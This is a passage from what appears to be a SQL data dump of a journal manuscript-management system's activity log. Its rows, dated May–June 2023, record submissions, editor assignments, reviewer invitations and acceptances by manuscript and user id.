15:46:42','Manuscript Updated',13783,'Publisher',48),(127953,'2023-05-29 17:05:22','Publisher has been Assigned Editor',13782,'Publisher',984),(127954,'2023-05-29 17:05:36','Publisher has been Assigned Editor',13781,'Publisher',984),(127955,'2023-05-29 17:05:59','Publisher has been Assigned Editor',13780,'Publisher',984),(127956,'2023-05-29 17:06:28','Publisher has been Assigned Editor',13779,'Publisher',984),(127957,'2023-05-29 17:06:45','Publisher has been Assigned Editor',13778,'Publisher',984),(127958,'2023-05-29 17:11:53','Editor has Accepted to review Manuscript',13782,'Editor',1710),(127959,'2023-05-29 17:12:10','Editor has been Editor Decision Accepted article',13782,'Editor',1710),(127960,'2023-05-29 17:13:42','Publisher has been Assigned Editor',13787,'Publisher',48),(127961,'2023-05-29 17:15:00','Editor has Accepted to review Manuscript',13781,'Editor',1654),(127962,'2023-05-29 17:15:14','Editor has been Editor Decision Accepted article',13781,'Editor',1654),(127963,'2023-05-29 17:16:11','Editor has Accepted to review Manuscript',13780,'Editor',1406),(127964,'2023-05-29 17:17:03','Editor has been Editor Decision Accepted article',13780,'Editor',1406),(127965,'2023-05-29 17:29:58','Editor has Accepted to review Manuscript',13779,'Editor',1342),(127966,'2023-05-29 17:35:13','Editor has Accepted to review Manuscript',13778,'Editor',1780),(127967,'2023-05-29 17:35:24','Editor has been Editor Decision Accepted article',13778,'Editor',1780),(127968,'2023-05-29 17:40:53','Editor has been Editor Decision Accepted article',13779,'Editor',1342),(127969,'2023-05-30 04:42:05','Reviewer has updated comments',13771,'Reviewer',11844),(127970,'2023-05-30 04:42:17','Reviewer has updated comments',13771,'Reviewer',11844),(127971,'2023-05-30 11:05:18','Manuscript Submitted by Publisher',13789,'Publisher',48),(127972,'2023-05-30 12:01:13','Editor has Accepted to review Manuscript',13785,'Editor',194),(127973,'2023-05-30 12:01:52','Editor has been Editor Decision Accepted article',13785,'Editor',194),(127974,'2023-05-30 12:02:52','Manuscript Updated',13785,'Publisher',48),(127975,'2023-05-30 12:03:06','Publisher has been Accepted Articles  article',13785,'Publisher',48),(127976,'2023-05-30 12:03:29','Publisher has been Accepted Articles  article',13785,'Publisher',48),(127977,'2023-05-30 12:03:40','Manuscript Updated',13785,'Publisher',48),(127978,'2023-05-31 10:59:58','Manuscript Submitted by Publisher',13790,'Publisher',1009),(127979,'2023-05-31 11:04:27','Editor has Accepted to review Manuscript',13787,'Editor',194),(127980,'2023-05-31 11:04:48','Editor has been Editor Decision Accepted article',13787,'Editor',194),(127981,'2023-05-31 11:05:25','Manuscript Updated',13787,'Publisher',48),(127982,'2023-05-31 11:05:42','Publisher has been Accepted Articles  article',13787,'Publisher',48),(127983,'2023-05-31 11:05:56','Manuscript Updated',13787,'Publisher',48),(127984,'2023-05-31 11:53:59','Publisher has been Assigned Editor',13789,'Publisher',48),(127985,'2023-05-31 15:36:20','Editor has Accepted to review Manuscript',13789,'Editor',194),(127986,'2023-05-31 15:36:32','Editor has been Editor Decision Accepted article',13789,'Editor',194),(127987,'2023-05-31 15:37:33','Manuscript Updated',13789,'Publisher',48),(127988,'2023-05-31 15:37:53','Publisher has been Accepted Articles  article',13789,'Publisher',48),(127989,'2023-05-31 15:38:04','Manuscript Updated',13789,'Publisher',48),(127990,'2023-06-01 10:45:57','Editor has Accepted to review Manuscript',13774,'Editor',1367),(127991,'2023-06-01 10:47:01','Editor has been Editor Decision Accepted article',13774,'Editor',1367),(127992,'2023-06-01 10:52:26','Manuscript Updated',13774,'Publisher',972),(127993,'2023-06-01 10:52:45','Publisher has been Accepted Articles  article',13774,'Publisher',972),(127994,'2023-06-01 10:52:48','Publisher has been Accepted Articles  article',13774,'Publisher',972),(127995,'2023-06-01 10:52:50','Publisher has been Accepted Articles  article',13774,'Publisher',972),(127996,'2023-06-01 10:53:03','Manuscript Updated',13774,'Publisher',972),(127997,'2023-06-01 13:34:34','Publisher has Invited Reviewer',13777,'Publisher',248),(127998,'2023-06-01 13:34:48','Publisher has Invited Reviewer',13777,'Publisher',248),(127999,'2023-06-01 13:34:52','Publisher has Invited Reviewer',13777,'Publisher',248),(128000,'2023-06-01 13:34:57','Publisher has Invited Reviewer',13777,'Publisher',248),(128001,'2023-06-02 09:51:40','Manuscript Submitted by Publisher',13791,'',1050),(128002,'2023-06-02 18:04:38','Publisher has been Assigned Editor',13790,'Publisher',1009),(128003,'2023-06-02 18:05:16','Publisher has Invited Reviewer',13790,'Publisher',1009),(128004,'2023-06-02 18:05:16','Publisher has Invited Reviewer',13790,'Publisher',1009),(128005,'2023-06-02 18:05:16','Publisher has Invited Reviewer',13790,'Publisher',1009),(128006,'2023-06-02 18:05:17','Publisher has Invited Reviewer',13790,'Publisher',1009),(128007,'2023-06-02 18:05:17','Publisher has Invited Reviewer',13790,'Publisher',1009),(128008,'2023-06-03 00:43:12','Manuscript Submitted by Author',13792,'Author',9188),(128009,'2023-06-03 09:27:20','Manuscript Submitted by Publisher',13793,'',1050),(128010,'2023-06-03 12:41:10','Publisher has been Assigned Editor',13792,'Publisher',48),(128011,'2023-06-04 02:20:55','Manuscript Submitted by Author using Submission form',13794,'Author',13915),(128012,'2023-06-05 14:09:09','Manuscript Submitted by Author using Submission form',13796,'Author',13916),(128013,'2023-06-05 14:14:26','Publisher has been Accepted Articles  article',2932,'',1491),(128014,'2023-06-05 16:22:52','Editor has Accepted to review Manuscript',13790,'Editor',1749),(128015,'2023-06-05 16:24:46','Editor has Invited Reviewer',13790,'Editor',1749),(128016,'2023-06-05 16:24:47','Editor has Invited Reviewer',13790,'Editor',1749),(128017,'2023-06-05 16:24:47','Editor has Invited Reviewer',13790,'Editor',1749),(128018,'2023-06-05 16:24:48','Editor has Invited Reviewer',13790,'Editor',1749),(128019,'2023-06-05 16:24:48','Editor has Invited Reviewer',13790,'Editor',1749),(128020,'2023-06-05 16:24:48','Editor has Invited Reviewer',13790,'Editor',1749),(128021,'2023-06-05 16:24:49','Editor has Invited Reviewer',13790,'Editor',1749),(128022,'2023-06-05 16:24:49','Editor has Invited Reviewer',13790,'Editor',1749),(128023,'2023-06-05 16:24:50','Editor has Invited Reviewer',13790,'Editor',1749),(128024,'2023-06-05 16:24:50','Editor has Invited Reviewer',13790,'Editor',1749),(128025,'2023-06-05 16:24:51','Editor has Invited Reviewer',13790,'Editor',1749),(128026,'2023-06-05 16:24:51','Editor has Invited Reviewer',13790,'Editor',1749),(128027,'2023-06-05 16:24:51','Editor has Invited Reviewer',13790,'Editor',1749),(128028,'2023-06-05 16:24:52','Editor has Invited Reviewer',13790,'Editor',1749),(128029,'2023-06-05 16:24:52','Editor has Invited Reviewer',13790,'Editor',1749),(128030,'2023-06-05 16:24:52','Editor has Invited Reviewer',13790,'Editor',1749),(128031,'2023-06-05 16:24:53','Editor has Invited Reviewer',13790,'Editor',1749),(128032,'2023-06-05 16:24:53','Editor has Invited Reviewer',13790,'Editor',1749),(128033,'2023-06-05 16:24:54','Editor has Invited Reviewer',13790,'Editor',1749),(128034,'2023-06-05 16:24:54','Editor has Invited Reviewer',13790,'Editor',1749),(128035,'2023-06-05 16:24:54','Editor has Invited Reviewer',13790,'Editor',1749),(128036,'2023-06-05 16:24:55','Editor has Invited Reviewer',13790,'Editor',1749),(128037,'2023-06-05 16:24:55','Editor has Invited Reviewer',13790,'Editor',1749),(128038,'2023-06-05 16:24:55','Editor has Invited Reviewer',13790,'Editor',1749),(128039,'2023-06-05 16:24:56','Editor has Invited Reviewer',13790,'Editor',1749),(128040,'2023-06-05 16:24:56','Editor has Invited Reviewer',13790,'Editor',1749),(128041,'2023-06-05 16:24:56','Editor has Invited Reviewer',13790,'Editor',1749),(128042,'2023-06-05 16:24:57','Editor has Invited Reviewer',13790,'Editor',1749),(128043,'2023-06-05 16:24:57','Editor has Invited Reviewer',13790,'Editor',1749),(128044,'2023-06-05 16:24:57','Editor has Invited Reviewer',13790,'Editor',1749),(128045,'2023-06-05 16:24:58','Editor has Invited Reviewer',13790,'Editor',1749),(128046,'2023-06-05 16:24:58','Editor has Invited Reviewer',13790,'Editor',1749),(128047,'2023-06-05 16:24:58','Editor has Invited Reviewer',13790,'Editor',1749),(128048,'2023-06-05 16:24:58','Editor has Invited Reviewer',13790,'Editor',1749),(128049,'2023-06-05 16:24:59','Editor has Invited Reviewer',13790,'Editor',1749),(128050,'2023-06-05 16:24:59','Editor has Invited Reviewer',13790,'Editor',1749),(128051,'2023-06-05 16:25:00','Editor has Invited Reviewer',13790,'Editor',1749),(128052,'2023-06-05 16:25:00','Editor has Invited Reviewer',13790,'Editor',1749),(128053,'2023-06-05 16:25:00','Editor has Invited Reviewer',13790,'Editor',1749),(128054,'2023-06-05 16:25:01','Editor has Invited Reviewer',13790,'Editor',1749),(128055,'2023-06-06 14:22:32','Publisher has been Assigned Editor',13796,'Publisher',376),(128056,'2023-06-06 14:23:58','Publisher has Invited Reviewer',13796,'Publisher',376),(128057,'2023-06-06 23:10:07','Reviewer has submitted comments',13796,'Reviewer',21547),(128058,'2023-06-07 10:22:54','Editor has Accepted to review Manuscript',13796,'Editor',1011),(128059,'2023-06-07 10:23:10','Editor has been Editor Decision Accepted article',13796,'Editor',1011),(128060,'2023-06-09 11:16:08','Manuscript Submitted by Author using Submission form',13798,'Author',13917),(128061,'2023-06-09 11:49:50','Publisher has been Assigned Editor',13776,'',1050),(128062,'2023-06-09 11:51:51','Editor has Accepted to review Manuscript',13776,'Editor',1788),(128063,'2023-06-09 11:52:02','Editor has been Editor Decision Accepted article',13776,'Editor',1788),(128064,'2023-06-09 11:52:43','Publisher has been Assigned Editor',13786,'',1050),(128065,'2023-06-09 11:52:59','Publisher has been Assigned Editor',13791,'',1050),(128066,'2023-06-09 11:53:12','Publisher has been Assigned Editor',13797,'',1050),(128067,'2023-06-09 11:54:41','Editor has Accepted to review Manuscript',13791,'Editor',1788),(128068,'2023-06-09 11:54:51','Editor has been Editor Decision Accepted article',13791,'Editor',1788),(128069,'2023-06-09 11:54:59','Editor has Accepted to review Manuscript',13786,'Editor',1788),(128070,'2023-06-09 11:55:08','Publisher has been Accepted Articles  article',13421,'',1274),(128071,'2023-06-09 11:55:15','Editor has been Editor Decision Accepted article',13786,'Editor',1788),(128072,'2023-06-09 11:57:43','Editor has Accepted to review Manuscript',13797,'Editor',1788),(128073,'2023-06-09 11:57:56','Editor has been Editor Decision Accepted article',13797,'Editor',1788),(128074,'2023-06-09 12:13:36','Publisher has been Accepted Articles  article',13776,'',1050),(128075,'2023-06-09 13:57:22','Author sent Email',13765,'Author',13892),(128076,'2023-06-09 16:43:41','Manuscript Submitted by Author using Submission form',13799,'Author',13918),(128077,'2023-06-09 16:45:16','Manuscript Submitted by Author using Submission form',13800,'Author',13919),(128078,'2023-06-09 16:47:00','Manuscript Submitted by Author using Submission form',13801,'Author',13920),(128079,'2023-06-09 16:49:54','Manuscript Submitted by Author using Submission form',13802,'Author',13921),(128080,'2023-06-09 16:54:48','Manuscript Submitted by Author using Submission form',13803,'Author',13922),(128081,'2023-06-09 16:57:57','Manuscript Submitted by Author using Submission form',13804,'Author',13923),(128082,'2023-06-09 17:00:48','Manuscript Submitted by Author using Submission form',13805,'Author',13924),(128083,'2023-06-09 17:03:11','Manuscript Submitted by Author using Submission form',13806,'Author',13925),(128084,'2023-06-09 17:06:23','Manuscript Submitted by Author using Submission form',13807,'Author',13926),(128085,'2023-06-09 17:10:08','Manuscript Submitted by Author using Submission form',13808,'Author',13927),(128086,'2023-06-10 08:08:07','Reviewer has updated comments',13664,'Reviewer',21547),(128087,'2023-06-10 22:59:05','Manuscript Submitted by Author',13809,'Author',13928),(128088,'2023-06-12 10:57:28','Reviewer has submitted comments',13771,'Reviewer',8590),(128089,'2023-06-12 10:59:37','Reviewer has submitted comments',13768,'Reviewer',8590),(128090,'2023-06-12 11:01:37','Editor has been Editor Decision Accepted article',13771,'Editor',1789),(128091,'2023-06-12 11:01:45','Editor has been Editor Decision Accepted article',13768,'Editor',1789),(128092,'2023-06-12 11:27:47','Editor has Accepted to review Manuscript',13765,'Editor',162),(128093,'2023-06-12 11:27:52','Editor has been Editor Decision Accepted article',13765,'Editor',162),(128094,'2023-06-12 11:28:22','Publisher has been Accepted Articles  article',13765,'Publisher',75),(128095,'2023-06-12 11:28:24','Publisher has been Accepted Articles  article',13765,'Publisher',75),(128096,'2023-06-12 11:28:26','Publisher has been Accepted Articles  article',13765,'Publisher',75),(128097,'2023-06-12 11:28:28','Publisher has been Accepted Articles  article',13765,'Publisher',75),(128098,'2023-06-12 11:28:29','Publisher has been Accepted Articles  article',13765,'Publisher',75),(128099,'2023-06-12 14:16:51','Publisher has been Assigned Editor',13798,'Publisher',376),(128100,'2023-06-12 14:17:36','Publisher has Invited Reviewer',13798,'Publisher',376),(128101,'2023-06-12 14:17:40','Publisher has Invited Reviewer',13798,'Publisher',376),(128102,'2023-06-12 14:17:45','Publisher has Invited Reviewer',13798,'Publisher',376),(128103,'2023-06-12 14:17:49','Publisher has Invited Reviewer',13798,'Publisher',376),(128104,'2023-06-12 15:02:41','Publisher has been Assigned Editor',13808,'Publisher',1033),(128105,'2023-06-12 15:03:01','Publisher has been Assigned Editor',13807,'Publisher',1033),(128106,'2023-06-12 15:03:19','Publisher has been Assigned Editor',13806,'Publisher',1033),(128107,'2023-06-12 15:03:33','Publisher has been Assigned Editor',13805,'Publisher',1033),(128108,'2023-06-12 15:03:45','Publisher has been Assigned Editor',13804,'Publisher',1033),(128109,'2023-06-12 15:07:11','Publisher has been Assigned Editor',13803,'Publisher',1033),(128110,'2023-06-12 15:07:35','Publisher has been Assigned Editor',13802,'Publisher',1033),(128111,'2023-06-12 15:07:49','Publisher has been Assigned Editor',13801,'Publisher',1033),(128112,'2023-06-12 15:08:03','Publisher has been Assigned Editor',13800,'Publisher',1033),(128113,'2023-06-12 15:08:16','Publisher has been Assigned Editor',13799,'Publisher',1033),(128114,'2023-06-12 15:48:03','Manuscript Updated',13796,'Publisher',376),(128115,'2023-06-12 15:48:32','Publisher has been Accepted Articles  article',13796,'Publisher',376),(128116,'2023-06-12 15:49:00','Publisher has been Accepted Articles  article',13773,'Publisher',376),(128117,'2023-06-12 15:49:21','Publisher has been Accepted Articles  article',13741,'Publisher',376),(128118,'2023-06-12 18:00:52','Publisher has been Accepted Articles  article',12278,'Publisher',75),(128119,'2023-06-13 09:37:59','Manuscript Submitted by Publisher',13810,'Publisher',48),(128120,'2023-06-13 10:30:09','Publisher has been Accepted Articles  article',13768,'Publisher',274),(128121,'2023-06-13 10:30:35','Publisher has Invited Reviewer',13777,'Publisher',248),(128122,'2023-06-13 10:30:39','Publisher has Invited Reviewer',13777,'Publisher',248),(128123,'2023-06-13 10:30:44','Publisher has Invited Reviewer',13777,'Publisher',248),(128124,'2023-06-13 10:30:48','Publisher has Invited Reviewer',13777,'Publisher',248),(128125,'2023-06-13 10:31:21','Publisher has been Accepted Articles  article',13771,'Publisher',274),(128126,'2023-06-13 12:46:32','Manuscript Submitted by Author using Submission form',13811,'Author',13930),(128127,'2023-06-13 14:33:14','Manuscript Submitted by Publisher',13812,'Publisher',1009),(128128,'2023-06-13 14:35:46','Manuscript Submitted by Publisher',13813,'Publisher',1009),(128129,'2023-06-13 14:37:59','Manuscript Submitted by Publisher',13814,'Publisher',1009),(128130,'2023-06-13 16:54:41','Publisher has been Assigned Editor',13809,'Publisher',84),(128131,'2023-06-13 16:57:07','Publisher has Invited Reviewer',13809,'Publisher',84),(128132,'2023-06-13 16:57:08','Publisher has Invited Reviewer',13809,'Publisher',84),(128133,'2023-06-13 16:57:09','Publisher has Invited Reviewer',13809,'Publisher',84),(128134,'2023-06-13 16:57:09','Publisher has Invited Reviewer',13809,'Publisher',84),(128135,'2023-06-13 16:57:10','Publisher has Invited Reviewer',13809,'Publisher',84),(128136,'2023-06-13 16:57:10','Publisher has Invited Reviewer',13809,'Publisher',84),(128137,'2023-06-13 16:57:11','Publisher has Invited Reviewer',13809,'Publisher',84),(128138,'2023-06-13 16:57:11','Publisher has Invited Reviewer',13809,'Publisher',84),(128139,'2023-06-13 16:57:11','Publisher has Invited Reviewer',13809,'Publisher',84),(128140,'2023-06-13 16:57:12','Publisher has Invited Reviewer',13809,'Publisher',84),(128141,'2023-06-13 16:57:12','Publisher has Invited Reviewer',13809,'Publisher',84),(128142,'2023-06-13 16:57:13','Publisher has Invited Reviewer',13809,'Publisher',84),(128143,'2023-06-13 16:57:13','Publisher has Invited Reviewer',13809,'Publisher',84),(128144,'2023-06-13 16:57:14','Publisher has Invited Reviewer',13809,'Publisher',84),(128145,'2023-06-14 11:51:06','Manuscript Submitted by Publisher',13815,'Publisher',645),(128146,'2023-06-14 13:06:59','Publisher has been Assigned Editor',13814,'Publisher',1009),(128147,'2023-06-14 13:07:08','Publisher has been Assigned Editor',13813,'Publisher',1009),(128148,'2023-06-14 13:07:15','Publisher has been Assigned Editor',13812,'Publisher',1009),(128149,'2023-06-14 13:09:07','Publisher has Invited Reviewer',13814,'Publisher',1009),(128150,'2023-06-14 13:09:08','Publisher has Invited Reviewer',13814,'Publisher',1009),(128151,'2023-06-14 13:09:08','Publisher has Invited Reviewer',13814,'Publisher',1009),(128152,'2023-06-14 13:09:09','Publisher has Invited Reviewer',13814,'Publisher',1009),(128153,'2023-06-14 13:09:09','Publisher has Invited Reviewer',13814,'Publisher',1009),(128154,'2023-06-14 13:09:10','Publisher has Invited Reviewer',13814,'Publisher',1009),(128155,'2023-06-14 13:10:51','Publisher has Invited Reviewer',13813,'Publisher',1009),(128156,'2023-06-14 13:10:51','Publisher has Invited Reviewer',13813,'Publisher',1009),(128157,'2023-06-14 13:10:51','Publisher has Invited Reviewer',13813,'Publisher',1009),(128158,'2023-06-14 13:10:52','Publisher has Invited Reviewer',13813,'Publisher',1009),(128159,'2023-06-14 13:10:52','Publisher has Invited Reviewer',13813,'Publisher',1009),(128160,'2023-06-14 13:10:53','Publisher has Invited Reviewer',13813,'Publisher',1009),(128161,'2023-06-14 13:11:58','Publisher has Invited Reviewer',13813,'Publisher',1009),(128162,'2023-06-14 13:11:59','Publisher has Invited Reviewer',13813,'Publisher',1009),(128163,'2023-06-14 13:11:59','Publisher has Invited Reviewer',13813,'Publisher',1009),(128164,'2023-06-14 13:12:00','Publisher has Invited Reviewer',13813,'Publisher',1009),(128165,'2023-06-14 13:12:00','Publisher has Invited Reviewer',13813,'Publisher',1009),(128166,'2023-06-14 13:12:39','Publisher has Invited Reviewer',13812,'Publisher',1009),(128167,'2023-06-14 13:12:40','Publisher has Invited Reviewer',13812,'Publisher',1009),(128168,'2023-06-14 13:12:40','Publisher has Invited Reviewer',13812,'Publisher',1009),(128169,'2023-06-14 13:12:40','Publisher has Invited Reviewer',13812,'Publisher',1009),(128170,'2023-06-14 13:12:41','Publisher has Invited Reviewer',13812,'Publisher',1009),(128171,'2023-06-14 13:16:21','Manuscript Submitted by Publisher',13816,'Publisher',645),(128172,'2023-06-14 13:18:25','Manuscript Submitted by Publisher',13817,'Publisher',645),(128173,'2023-06-14 13:30:33','Manuscript Submitted by Publisher',13818,'Publisher',645),(128174,'2023-06-14 13:33:56','Manuscript Submitted by Publisher',13819,'Publisher',645),(128175,'2023-06-14 14:02:50','Manuscript Submitted by Publisher',13820,'Publisher',645),(128176,'2023-06-14 14:13:19','Manuscript Submitted by Publisher',13821,'Publisher',645),(128177,'2023-06-14 14:16:40','Manuscript Submitted by Publisher',13822,'Publisher',645),(128178,'2023-06-14 14:21:24','Manuscript Submitted by Publisher',13823,'Publisher',645),(128179,'2023-06-14 14:24:50','Manuscript Submitted by Publisher',13824,'Publisher',645),(128180,'2023-06-14 14:28:14','Manuscript Submitted by Publisher',13825,'Publisher',645),(128181,'2023-06-14 15:23:08','Publisher has been Withdrawn  article',13790,'Publisher',1009),(128182,'2023-06-15 10:05:33','Publisher has been Accepted Articles  article',13713,'Publisher',984),(128183,'2023-06-15 10:06:04','Publisher has been Accepted Articles  article',13714,'Publisher',984),(128184,'2023-06-15 10:06:37','Publisher has been Accepted Articles  article',13715,'Publisher',984),(128185,'2023-06-15 10:07:22','Publisher has been Accepted Articles  article',13718,'Publisher',984),(128186,'2023-06-15 10:08:08','Publisher has been Accepted Articles  article',13722,'Publisher',984),(128187,'2023-06-15 10:08:49','Publisher has been Accepted Articles  article',13778,'Publisher',984),(128188,'2023-06-15 10:09:37','Publisher has been Accepted Articles  article',13779,'Publisher',984),(128189,'2023-06-15 10:10:20','Publisher has been Accepted Articles  article',13780,'Publisher',984),(128190,'2023-06-15 10:14:08','Publisher has been Accepted Articles  article',13781,'Publisher',984),(128191,'2023-06-15 10:15:34','Publisher has been Accepted Articles  article',13782,'Publisher',984),(128192,'2023-06-15 15:52:57','Editor has Accepted to review Manuscript',13798,'Editor',1452),(128193,'2023-06-15 15:53:28','Editor has been Editor Decision Accepted article',13798,'Editor',1452),(128194,'2023-06-15 15:54:44','Reviewer has submitted comments',13798,'Reviewer',9159),(128195,'2023-06-15 15:55:45','Reviewer has submitted comments',13798,'Reviewer',9155),(128196,'2023-06-15 15:56:50','Reviewer has submitted comments',13798,'Reviewer',7212),(128197,'2023-06-15 15:58:20','Publisher: Accept Notification has been sent to Author',13798,'Publisher',376),(128198,'2023-06-15 16:41:11','Publisher has been Assigned Editor',13810,'Publisher',48),(128199,'2023-06-15 17:24:17','Publisher has Invited Reviewer',13792,'Publisher',48),(128200,'2023-06-15 17:24:21','Publisher has Invited Reviewer',13792,'Publisher',48),(128201,'2023-06-15 17:24:25','Publisher has Invited Reviewer',13792,'Publisher',48),(128202,'2023-06-15 17:24:30','Publisher has Invited Reviewer',13792,'Publisher',48),(128203,'2023-06-15 17:25:07','Publisher has Invited Reviewer',13810,'Publisher',48),(128204,'2023-06-15 17:25:12','Publisher has Invited Reviewer',13810,'Publisher',48),(128205,'2023-06-15 17:25:16','Publisher has Invited Reviewer',13810,'Publisher',48),(128206,'2023-06-16 14:20:21','Editor has Accepted to review Manuscript',13809,'Editor',222),(128207,'2023-06-16 14:20:43','Editor has been Editor Decision Accepted article',13809,'Editor',222),(128208,'2023-06-16 15:33:34','Manuscript Submitted by Publisher',13826,'',1212),(128209,'2023-06-16 15:56:39','Editor has Accepted to review Manuscript',13777,'Editor',358),(128210,'2023-06-16 15:56:51','Editor has been Editor Decision Accepted article',13777,'Editor',358),(128211,'2023-06-16 15:57:32','Editor has Invited Reviewer',13777,'Publisher',248),(128212,'2023-06-16 15:57:36','Editor has Invited Reviewer',13777,'Publisher',248),(128213,'2023-06-16 18:07:38','Publisher has been Assigned Editor',13816,'Publisher',645),(128214,'2023-06-16 18:07:55','Publisher has been Assigned Editor',13820,'Publisher',645),(128215,'2023-06-16 18:08:08','Publisher has been Assigned Editor',13824,'Publisher',645),(128216,'2023-06-16 18:08:22','Publisher has been Assigned Editor',13825,'Publisher',645),(128217,'2023-06-16 18:08:35','Publisher has been Assigned Editor',13823,'Publisher',645),(128218,'2023-06-17 10:38:46','Manuscript Submitted by Publisher',13827,'Publisher',48),(128219,'2023-06-17 11:24:30','Manuscript Submitted by Author using Submission form',13828,'Author',13938),(128220,'2023-06-17 12:16:31','Manuscript Submitted by Publisher',13829,'Publisher',645),(128221,'2023-06-17 12:19:10','Manuscript Submitted by Publisher',13830,'Publisher',645),(128222,'2023-06-17 12:25:00','Manuscript Submitted by Publisher',13831,'Publisher',645),(128223,'2023-06-17 12:43:56','Manuscript Submitted by Publisher',13832,'Publisher',645),(128224,'2023-06-17 12:45:41','Manuscript Submitted by Publisher',13833,'Publisher',645),(128225,'2023-06-19 09:42:57','Manuscript Submitted by Publisher',13834,'Publisher',984),(128226,'2023-06-19 13:09:41','Publisher has been Assigned Editor',13826,'',1212),(128227,'2023-06-19 13:26:58','Manuscript Submitted by Publisher',13835,'Publisher',994),(128228,'2023-06-19 13:41:30','Manuscript Submitted by Publisher',13836,'',1050),(128229,'2023-06-19 14:04:27','Manuscript Submitted by Publisher',13837,'Publisher',994),(128230,'2023-06-19 14:14:50','Manuscript Submitted by Publisher',13838,'Publisher',994),(128231,'2023-06-19 14:19:37','Manuscript Submitted by Publisher',13839,'Publisher',994),(128232,'2023-06-19 14:21:22','Manuscript Submitted by Publisher',13840,'Publisher',994),(128233,'2023-06-19 14:24:17','Manuscript Submitted by Publisher',13841,'Publisher',994),(128234,'2023-06-19 17:56:27','Publisher has been Assigned Editor',13829,'Publisher',645),(128235,'2023-06-19 17:56:50','Publisher has been Assigned Editor',13830,'Publisher',645),(128236,'2023-06-19 17:57:08','Publisher has been Assigned Editor',13831,'Publisher',645),(128237,'2023-06-19 17:57:27','Publisher has been Assigned Editor',13832,'Publisher',645),(128238,'2023-06-19 22:55:28','Manuscript Submitted by Author using Submission form',13842,'Author',13946),(128239,'2023-06-20 09:25:37','Publisher has been Assigned Editor',13827,'Publisher',48),(128240,'2023-06-20 10:03:00','Manuscript Submitted by Publisher',13843,'Publisher',645),(128241,'2023-06-20 10:05:22','Editor has Accepted to review Manuscript',13832,'Editor',1708),(128242,'2023-06-20 10:05:35','Editor has been Editor Decision Accepted article',13832,'Editor',1708),(128243,'2023-06-20 10:05:42','Editor has Accepted to review Manuscript',13831,'Editor',1708),(128244,'2023-06-20 10:05:56','Editor has been Editor Decision Accepted article',13831,'Editor',1708),(128245,'2023-06-20 10:06:04','Editor has Accepted to review Manuscript',13830,'Editor',1708),(128246,'2023-06-20 10:06:14','Editor has been Editor Decision Accepted article',13830,'Editor',1708),(128247,'2023-06-20 10:06:19','Editor has Accepted to review Manuscript',13829,'Editor',1708),(128248,'2023-06-20 10:06:28','Editor has been Editor Decision Accepted article',13829,'Editor',1708),(128249,'2023-06-20 10:06:47','Editor has Accepted to review Manuscript',13825,'Editor',1708),(128250,'2023-06-20 10:07:00','Editor has been Editor Decision Accepted article',13825,'Editor',1708),(128251,'2023-06-20 10:07:09','Editor has Accepted to review Manuscript',13824,'Editor',1708),(128252,'2023-06-20 10:07:20','Editor has been Editor Decision Accepted article',13824,'Editor',1708),(128253,'2023-06-20 10:07:26','Editor has Accepted to review Manuscript',13823,'Editor',1708),(128254,'2023-06-20 10:07:53','Editor has been Editor Decision Accepted article',13823,'Editor',1708),(128255,'2023-06-20 10:08:01','Editor has Accepted to review Manuscript',13820,'Editor',1708),(128256,'2023-06-20 10:08:15','Editor has been Editor Decision Accepted article',13820,'Editor',1708),(128257,'2023-06-20 10:16:00','Publisher has Invited Reviewer',13827,'Publisher',48),(128258,'2023-06-20 10:16:05','Publisher has Invited Reviewer',13827,'Publisher',48),(128259,'2023-06-20 10:16:09','Publisher has Invited Reviewer',13827,'Publisher',48),(128260,'2023-06-20 10:16:14','Publisher has Invited Reviewer',13827,'Publisher',48),(128261,'2023-06-20 10:16:18','Publisher has Invited Reviewer',13827,'Publisher',48),(128262,'2023-06-20 11:07:50','Publisher has been Assigned Editor',13842,'Publisher',988),(128263,'2023-06-20 11:08:17','Publisher has Invited Reviewer',13842,'Publisher',988),(128264,'2023-06-20 11:08:22','Publisher has Invited Reviewer',13842,'Publisher',988),(128265,'2023-06-20 11:08:41','Publisher has Invited Reviewer',13842,'Publisher',988),(128266,'2023-06-20 11:08:49','Publisher has Invited Reviewer',13842,'Publisher',988),(128267,'2023-06-20 11:08:53','Publisher has Invited Reviewer',13842,'Publisher',988),(128268,'2023-06-20 11:08:58','Publisher has Invited Reviewer',13842,'Publisher',988),(128269,'2023-06-20 11:09:02','Publisher has Invited Reviewer',13842,'Publisher',988),(128270,'2023-06-20 11:09:07','Publisher has Invited Reviewer',13842,'Publisher',988),(128271,'2023-06-20 11:09:11','Publisher has Invited Reviewer',13842,'Publisher',988),(128272,'2023-06-20 11:09:16','Publisher has Invited Reviewer',13842,'Publisher',988),(128273,'2023-06-20 11:09:23','Publisher has Invited Reviewer',13842,'Publisher',988),(128274,'2023-06-20 11:09:28','Publisher has Invited Reviewer',13842,'Publisher',988),(128275,'2023-06-20 11:09:33','Publisher has Invited Reviewer',13842,'Publisher',988),(128276,'2023-06-20 11:09:37','Publisher has Invited Reviewer',13842,'Publisher',988),(128277,'2023-06-20 11:09:42','Publisher has Invited Reviewer',13842,'Publisher',988),(128278,'2023-06-20 11:09:46','Publisher has Invited Reviewer',13842,'Publisher',988),(128279,'2023-06-20 11:09:51','Publisher has Invited Reviewer',13842,'Publisher',988),(128280,'2023-06-20 11:09:56','Publisher has Invited Reviewer',13842,'Publisher',988),(128281,'2023-06-20 11:10:00','Publisher has Invited Reviewer',13842,'Publisher',988),(128282,'2023-06-20 11:10:05','Publisher has Invited Reviewer',13842,'Publisher',988),(128283,'2023-06-20 11:10:09','Publisher has Invited Reviewer',13842,'Publisher',988),(128284,'2023-06-20 11:10:14','Publisher has Invited Reviewer',13842,'Publisher',988),(128285,'2023-06-20 13:19:16','Manuscript Submitted by Publisher',13844,'Publisher',994),(128286,'2023-06-20 13:26:13','Publisher has been Assigned Editor',13841,'Publisher',994),(128287,'2023-06-20 13:26:26','Publisher has been Assigned Editor',13840,'Publisher',994),(128288,'2023-06-20 13:26:38','Publisher has been Assigned Editor',13839,'Publisher',994),(128289,'2023-06-20 13:26:50','Publisher has been Assigned Editor',13838,'Publisher',994),(128290,'2023-06-20 13:27:01','Publisher has been Assigned Editor',13837,'Publisher',994),(128291,'2023-06-20 13:27:12','Publisher has been Assigned Editor',13835,'Publisher',994),(128292,'2023-06-20 13:54:16','Manuscript Submitted by Publisher',13845,'Publisher',994),(128293,'2023-06-20 14:11:19','Publisher has been Assigned Editor',13828,'Publisher',274),(128294,'2023-06-20 14:13:01','Publisher has been Accepted Articles  article',13700,'Publisher',274),(128295,'2023-06-20 15:25:53','Manuscript Submitted by Publisher',13846,'Publisher',1009),(128296,'2023-06-20 17:03:33','Editor has Accepted to review 